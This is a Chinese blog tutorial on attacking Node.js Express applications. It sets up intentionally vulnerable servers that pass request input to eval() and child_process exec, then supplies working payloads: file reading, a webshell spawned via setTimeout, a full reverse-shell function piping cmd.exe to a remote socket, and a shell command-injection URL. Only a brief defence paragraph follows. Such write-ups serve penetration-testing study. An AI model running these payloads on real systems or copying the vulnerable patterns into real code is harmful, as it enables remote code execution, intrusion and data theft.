Nodejs安全

0x00 前言

Node.js 是一个基于 Chrome V8 引擎的 JavaScript 运行环境。Node 是一个让 JavaScript 运行在服务端的开发平台,它让 JavaScript 成为与PHP、Python、Perl、Ruby 等服务端语言平起平坐的脚本语言。因为在之前并没有了解过nodejs的所产生的安全问题,本文将以node.js框架express为例,浅析nodejs安全问题。

0x01 环境搭建

本次测试使用express框架,环境搭建很简单,只需新建一个工作目录,然后执行npm install expres –save,即可使用express
演示代码如下test.js

1
2
3
4
5
6
7
var express = require('express');
var app = express();
app.get('/', function(req, res) {
var resp=eval("("+req.query.input+")");
res.send('Output</br>'+resp);
});
app.listen(8001);

然后执行node test.js即可在本地8001端口启动一个简单的web应用程序。

0x02 信息收集

在渗透测试过程种,对目标的渗透必要要经过信息收集以获取更过的信息来定制下一步的行动计划。对Node.js应用的渗透也要经过信息收集,以确定目标是否使用了Node.js。收集过程中重点留意cookies, name[“connect.sid”],server以及 X-powered-By 等头信息。如在前面搭建起的环境种,X-powered-By头暴露了目标使用express框架。

此外,程序运行时意外的报错信息也能帮助获取更多的信息,当然,一个大型的项目很少会出现这种报错。
但在上面的demo中,输入的input中带有一些特殊字符时将触发报错。

在得知目标为Node.js应用后,便可以进行进一步的利用。

0x03 漏洞利用

服务端代码执行

在前面的demo中,通过get传入的参数未经任何过滤而直接进入到eval()函数中执行,此处便存在代码执行漏洞。
下面是可以用于测试的一些payload

1
2
3
4
5
6
7
8
9
10
process.arch
process.argv
process.argv0
process.channel
process.cwd()
process.geteuid()
process.getegid()
process.pid
process.platform
process.version


甚至可以传入process.exit()终止程序的运行。

读取文件require('fs').readFileSync('test.js').toString()

获取webshell

1
setTimeout(function() { require('http').createServer(function (req, res) { res.writeHead(200, {"Content-Type": "text/plain"});require('child_process').exec(require('url').parse(req.url, true).query['cmd'], function(e,s,st) {res.end(s);}); }).listen(8003); }, 3000)


这里传入setTimeout函数,三秒后在8003端口启动一个webshell。(延时时间最好大于1s,否则可能执行失败)

成功执行命令,可以看到setTimeout也可以执行任意代码,所以会任何进入系统函数的用户输入都是不安全的,在测试过程不仅要注意eval函数,还要注意setTimeuut setInterval等系统函数。

获取反弹shell
payload

1
function rev(host,port){var net = require('net');var cp  = require('child_process');var cmd = cp.spawn('cmd.exe', []);var client = new net.Socket();client.connect(port, host, function(){client.write('Connected\r\n'); client.pipe(cmd.stdin); cmd.stdout.pipe(client);cmd.stderr.pipe(client);client.on('exit', function(code,signal){ client.end('Disconnected\r\n'); } );client.on( 'error',function(e){ setTimeout( rev(host,port), 5000); })});};rev('127.0.0.1', 1234);

这里也可使用nodejsshell.py生成编码后的nodejs代码
输入监听的ip 端口

执行生成的payload

nc成功监听到返回的shell

目标为Linux主机可以返回/bin/bash,windows下可以返回cmd.exe,可以在生成代码的第36行进行修改

远程命令执行

Node.js的远程命令执行主要是由于没有正确使用child_process模块造成的,该模块可以创建一个新的进程进来执行系统命令。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
var http = require("http");
var url = require("url");
var exe = require('child_process');
http.createServer(function(request, response)
{
var parsedUrl = url.parse(request.url, true);
response.writeHead(200, {"Content-Type": "text/html"});
exe.exec('ping -c 2 ' + parsedUrl.query.ping, function (err, data)
{
response.write("Hello "+ data);
response.end();
});

}).listen(8888);

上面的demo中使用了child_process模块的exec函数来进行系统交互来执行ping命令。但是由于没有正确过滤传入的参数,从而造成任意系统命令执行。
正常服务

执行任意命令
http://127.0.0.1:8888/?ping=www.baidu.com;||dir

HTTP参数污染

这是Node.js一个比较独特的特性,允许一个参数有多个值传入,当对一个参数传入多个值时,中间会以逗号,进行拼接。
比如上面的demo中,我们传入两个ping值

这个特性可能会引起参数解析漏洞或者在绕过waf时提供思路。

0x04 防护

在给出的Node.js不安全的demo中,可以明显的看出,同其他语言一样,所有未加过滤的用输入都是不安全的,所以在开发过程中应时刻注意对用户输入做适当的处理,令附node.js安全开发的一些参考https://www.cnblogs.com/qingmingsang/articles/10397870.html

0x05 参考链接

https://bbs.ichunqiu.com/thread-24807-1-1.html
https://www.jianshu.com/p/8253adac33d8

本文标题:Nodejs安全

文章作者:boogle

发布时间:2019年08月07日 - 14:53

最后更新:2019年08月07日 - 16:38

原始链接:https://zhengbao.wang/Nodejs安全/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。

感觉写的不错,给买个棒棒糖呗